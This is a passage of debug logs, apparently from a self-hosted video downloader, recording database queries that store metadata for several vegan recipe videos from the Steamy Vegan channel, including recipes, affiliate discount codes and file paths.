(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This healthy high protein vegan meal prep is one of my lowest calorie meal preps with the highest protein amount at 100g! These are all easy vegan recipes that in total take 1 hour to make and best of all you don't need to turn on an oven as every recipe can be made with a blender or food processor! Perfect for a heat wave! ☀️🥵 \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\nWant to try out the protein powders I used in this video? Get a discount below on both Sprout Living and Vedge Protein Powder:\n\n20% off at Sprout Living\nLink: https://go.sproutliving.com/steamyveg...\nCode: STEAMYVEGAN20\n\n10% off at Vedge Nutrition\nLink: https://www.vedgenutrition.com/?rfsn=...\nCode: STEAMYVEGAN\n\nLooking for more summer recipes? Check out these salads:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\nPotato Salad: \u00A0\u00A0\u00A0•\u00A0Potato\u00A0Salad\u00A0w/\u00A0Grilled\u00A0Green\u00A0Onions\u00A0&\u00A0Dil...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Healthy High-Protein Vegan Meal Prep! 100g Protein, 1400 Calories (NO COOKING!)", "1193c70a-a969-4da0-a392-332b893fcec0", 1, [], false, "pGpVoKh_AD4", "https://www.youtube.com/watch?v=pGpVoKh_AD4", 76, "/downloads/downloads/alec/Steamy Vegan/2025-07-03 Healthy High-Protein Vegan Meal Prep! 100g Protein, 1400 Calories (NO COOKING!)/Healthy High-Protein Vegan Meal Prep! 100g Protein, 1400 Calories (NO COOKING!) [pGpVoKh_AD4].NA", false, false, false, 1, ~U[2025-07-03 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This healthy high protein vegan meal prep is one of my lowest calorie meal preps with the highest protein amount at 100g! These are all easy vegan recipes that in total take 1 hour to make and best of all you don't need to turn on an oven as every recipe can be made with a blender or food processor! Perfect for a heat wave! ☀️🥵 \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nFULL MEAL PREP BLOG ➡️ https://steamyvegan.com/no-cooking-hi...\n\nWant to try out the protein powders I used in this video? Get a discount below on both Sprout Living and Vedge Protein Powder:\n\n20% off at Sprout Living\nLink: https://go.sproutliving.com/steamyveg...\nCode: STEAMYVEGAN20\n\n10% off at Vedge Nutrition\nLink: https://www.vedgenutrition.com/?rfsn=...\nCode: STEAMYVEGAN\n\nLooking for more summer recipes? Check out these salads:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\nPotato Salad: \u00A0\u00A0\u00A0•\u00A0Potato\u00A0Salad\u00A0w/\u00A0Grilled\u00A0Green\u00A0Onions\u00A0&\u00A0Dil...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Healthy High-Protein Vegan Meal Prep! 100g Protein, 1400 Calories (NO COOKING!)", 1, nil, false, "pGpVoKh_AD4", "https://www.youtube.com/watch?v=pGpVoKh_AD4", "/downloads/downloads/alec/Steamy Vegan/2025-07-03 Healthy High-Protein Vegan Meal Prep! 100g Protein, 1400 Calories (NO COOKING!)/Healthy High-Protein Vegan Meal Prep! 100g Protein, 1400 Calories (NO COOKING!) [pGpVoKh_AD4].NA", false, ~U[2025-07-03 00:00:00Z]] 20:31:06.705 [debug] QUERY OK source="sources" db=0.5ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.707 [debug] QUERY OK source="media_items" db=2.0ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-01 00:00:00Z], 1] 20:31:06.710 [debug] QUERY OK source="media_items" db=1.7ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This potato salad recipe gets a healthy twist with baked potatoes and grilled scallions for a smoky flavor. This plant based side dish is perfect for summer recipes and is sure to be a delight at your next barbecue! It's so easy to make, it will become one of your go-to vegan recipes!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more summer salad ideas? Check out these recipes:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\n\nTHE RECIPE\n\nGrilled Green Onion Potato Salad\n3 lbs. mini potatoes (red, yellow, mixed)\n1 bundle of green onions, wilted tips and roots removed\n½ tbsp neutral oil\nSalt and pepper to taste\n1 cup corn, fresh, canned or frozen\n1 celery stalk, finely chopped\n⅓ cup vegan mayo\n2 tbsp lemon juice\n1 tbsp ACV\n1 tbsp dijon mustard\n¼ cup chopped dill\n1 tsp Old Bay seasoning\n\n\n1. Bake the potatoes whole at 425ºF for 45 minutes. Be sure to poke many holes in the potatoes before baking them. Remove potatoes from the oven and let cool completely, then cut into 1½” chunks.\n2. Heat a skillet over high heat and warm the oil until shimmering. Cut the green onions in half and carefully place in the hot skillet, season with salt and pepper, and allow them to blacken slightly for about 4 to 5 minutes per side, turning to grill both sides. Once softened and charred, remove from pan and let cool completely. Once cooled, cut into 1cm pieces.\n3. In a small bowl, combine the vegan mayo, lemon juice, ACV, dijon mustard, dill, old bay seasoning and salt and pepper to taste. Set aside.\n4. Add a handful of the baked potatoes to a large serving bowl and mash with a fork until creamy. Add the remaining baked potatoes, charred green onions, corn, celery and the sauce and combine well with a wooden spoon.\n5. Cover and chill in the fridge for an hour or up to overnight. Enjoy!\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Potato Salad w/ Grilled Green Onions & Dill (Plant-based and Gluten-free Recipe)", "a0e1e8ad-b942-4b12-9c2e-998630ff0a7b", 1, [], false, "zLuK_qCvk_o", "https://www.youtube.com/watch?v=zLuK_qCvk_o", 77, "/downloads/downloads/alec/Steamy Vegan/2025-07-01 Potato Salad w⧸ Grilled Green Onions & Dill (Plant-based and Gluten-free Recipe)/Potato Salad w⧸ Grilled Green Onions & Dill (Plant-based and Gluten-free Recipe) [zLuK_qCvk_o].NA", false, false, false, 1, ~U[2025-07-01 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This potato salad recipe gets a healthy twist with baked potatoes and grilled scallions for a smoky flavor. This plant based side dish is perfect for summer recipes and is sure to be a delight at your next barbecue! It's so easy to make, it will become one of your go-to vegan recipes!\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more summer salad ideas? Check out these recipes:\nBeet Salad, Curried Chickpea, & Apple/Feenel Salad: \u00A0\u00A0\u00A0•\u00A03\u00A0Salad\u00A0Recipes\u00A0Everyone\u00A0Should\u00A0Know!\u00A0(Pla...\u00A0\u00A0\n2 Bean Salads: \u00A0\u00A0\u00A0•\u00A02\u00A0Bean\u00A0Salad\u00A0Recipes\u00A0to\u00A0Kick\u00A0Off\u00A0SUMMER!\u00A0☀...\u00A0\u00A0\nSalad Recipes Using Lentils: \u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Salad\u00A0Recipes\u00A0Using\u00A0Lentils\u00A0Everyo...\u00A0\u00A0\n\nTHE RECIPE\n\nGrilled Green Onion Potato Salad\n3 lbs. mini potatoes (red, yellow, mixed)\n1 bundle of green onions, wilted tips and roots removed\n½ tbsp neutral oil\nSalt and pepper to taste\n1 cup corn, fresh, canned or frozen\n1 celery stalk, finely chopped\n⅓ cup vegan mayo\n2 tbsp lemon juice\n1 tbsp ACV\n1 tbsp dijon mustard\n¼ cup chopped dill\n1 tsp Old Bay seasoning\n\n\n1. Bake the potatoes whole at 425ºF for 45 minutes. Be sure to poke many holes in the potatoes before baking them. Remove potatoes from the oven and let cool completely, then cut into 1½” chunks.\n2. Heat a skillet over high heat and warm the oil until shimmering. Cut the green onions in half and carefully place in the hot skillet, season with salt and pepper, and allow them to blacken slightly for about 4 to 5 minutes per side, turning to grill both sides. Once softened and charred, remove from pan and let cool completely. Once cooled, cut into 1cm pieces.\n3. In a small bowl, combine the vegan mayo, lemon juice, ACV, dijon mustard, dill, old bay seasoning and salt and pepper to taste. Set aside.\n4. Add a handful of the baked potatoes to a large serving bowl and mash with a fork until creamy. Add the remaining baked potatoes, charred green onions, corn, celery and the sauce and combine well with a wooden spoon.\n5. Cover and chill in the fridge for an hour or up to overnight. Enjoy!\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Potato Salad w/ Grilled Green Onions & Dill (Plant-based and Gluten-free Recipe)", 1, nil, false, "zLuK_qCvk_o", "https://www.youtube.com/watch?v=zLuK_qCvk_o", "/downloads/downl (truncated) 20:31:06.711 [debug] QUERY OK source="sources" db=0.7ms queue=0.4ms idle=8.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.714 [debug] QUERY OK source="media_items" db=2.3ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-28 00:00:00Z], 1] 20:31:06.715 [debug] QUERY OK source="media_items" db=1.1ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This Mexican inspired vegan meal prep packs a high protein punch with 100g protein and 1500 calories per day. If you're looking for a weight loss friendly and high-protein meal prep then these 4 vegan recipes will be perfect for you!\n\nGET THE FULL MEAL PREP BLOG ➡️ https://steamyvegan.com/mexican-high-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Mexican High-Protein Vegan Meal Prep! 4 Vegan Recipes", "e3892b48-d32c-44f0-b5de-cf0495744993", 1, [], false, "xuH4OSqbX7I", "https://www.youtube.com/watch?v=xuH4OSqbX7I", 78, "/downloads/downloads/alec/Steamy Vegan/2025-06-28 Mexican High-Protein Vegan Meal Prep! 4 Vegan Recipes/Mexican High-Protein Vegan Meal Prep! 4 Vegan Recipes [xuH4OSqbX7I].NA", false, false, false, 1, ~U[2025-06-28 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This Mexican inspired vegan meal prep packs a high protein punch with 100g protein and 1500 calories per day. If you're looking for a weight loss friendly and high-protein meal prep then these 4 vegan recipes will be perfect for you!\n\nGET THE FULL MEAL PREP BLOG ➡️ https://steamyvegan.com/mexican-high-...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Mexican High-Protein Vegan Meal Prep! 4 Vegan Recipes", 1, nil, false, "xuH4OSqbX7I", "https://www.youtube.com/watch?v=xuH4OSqbX7I", "/downloads/downloads/alec/Steamy Vegan/2025-06-28 Mexican High-Protein Vegan Meal Prep! 4 Vegan Recipes/Mexican High-Protein Vegan Meal Prep! 4 Vegan Recipes [xuH4OSqbX7I].NA", false, ~U[2025-06-28 00:00:00Z]] 20:31:06.716 [debug] QUERY OK source="sources" db=0.6ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.719 [debug] QUERY OK source="media_items" db=2.4ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-26 00:00:00Z], 1] 20:31:06.721 [debug] QUERY OK source="media_items" db=1.7ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These high-protein vegan tacos have over 28g of protein per 3 tacos and are made with a mushroom lentil crumble that you'll love using in all kinds of vegan recipes. I'll also show you my favourite way to make easy guacamole, and a jalapeno lime crema recipe. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nFULL RECIPE ON BLOG SOON!\n\nLentil taco meat, serves 4 (approx 3 tacos each)\n485 cal, 28g protein, 45g carbs, 25g fat\n\n1 cup dry lentils (brown, green, black)**\n8 oz cremini mushrooms, finely chopped\n1 cup chopped walnuts\n½ large onion, finely chopped\n4 cloves garlic, minced\n¼ cup hemp seeds\n¼ cup nooch\n2 tbsp tomato paste\n2 tbsp soy sauce\n2 tsp smoked paprika\n2 tsp chili powder\n1 tsp cumin\n1 tsp garlic powder\n1 tsp onion powder\n1 tsp oregano\n2 cups veggie broth\n1 bay leaf\n\n1. Roughly chop the walnuts into a meat-like crumble texture, and rinse and drain your uncooked lentils.\n2. Warm 1 tbsp oil in a large skillet and saute the onion and garlic are softened, about 3 minutes. Then add the mushrooms and cook down for a further 5 minutes, until they’ve reduced by about half.\n3. Stir in the tomato paste, spices, walnuts, soy sauce and hemp seeds and cook for a further 2 minutes.\n4. Add the lentils and veggie broth plus the bay leaf, stir to combine, cover and bring to a simmer. Then lower heat to medium-low and cook for 20 to 25 minutes, until most of the liquid has cooked off.\nUncover the lid and continue cooking until all the liquid has absorbed and the lentils are tender.\n\n*If using black lentils, I recommend soaking for 6 hours to ensure they cook properly. Or, if you don't have time to soak, increase the water/broth to 3 cups*\n\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Vegan Tacos Made With Lentils (High-Protein Vegan Recipes)", "6e59bdb3-4d64-41d6-b604-9093b46488ef", 1, [], false, "JUlkOfuFxWE", "https://www.youtube.com/watch?v=JUlkOfuFxWE", 79, "/downloads/downloads/alec/Steamy Vegan/2025-06-26 Vegan Tacos Made With Lentils (High-Protein Vegan Recipes)/Vegan Tacos Made With Lentils (High-Protein Vegan Recipes) [JUlkOfuFxWE].NA", false, false, false, 1, ~U[2025-06-26 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "These high-protein vegan tacos have over 28g of protein per 3 tacos and are made with a mushroom lentil crumble that you'll love using in all kinds of vegan recipes. I'll also show you my favourite way to make easy guacamole, and a jalapeno lime crema recipe. \n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas? 🍽\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\nItalian Meal Prep: 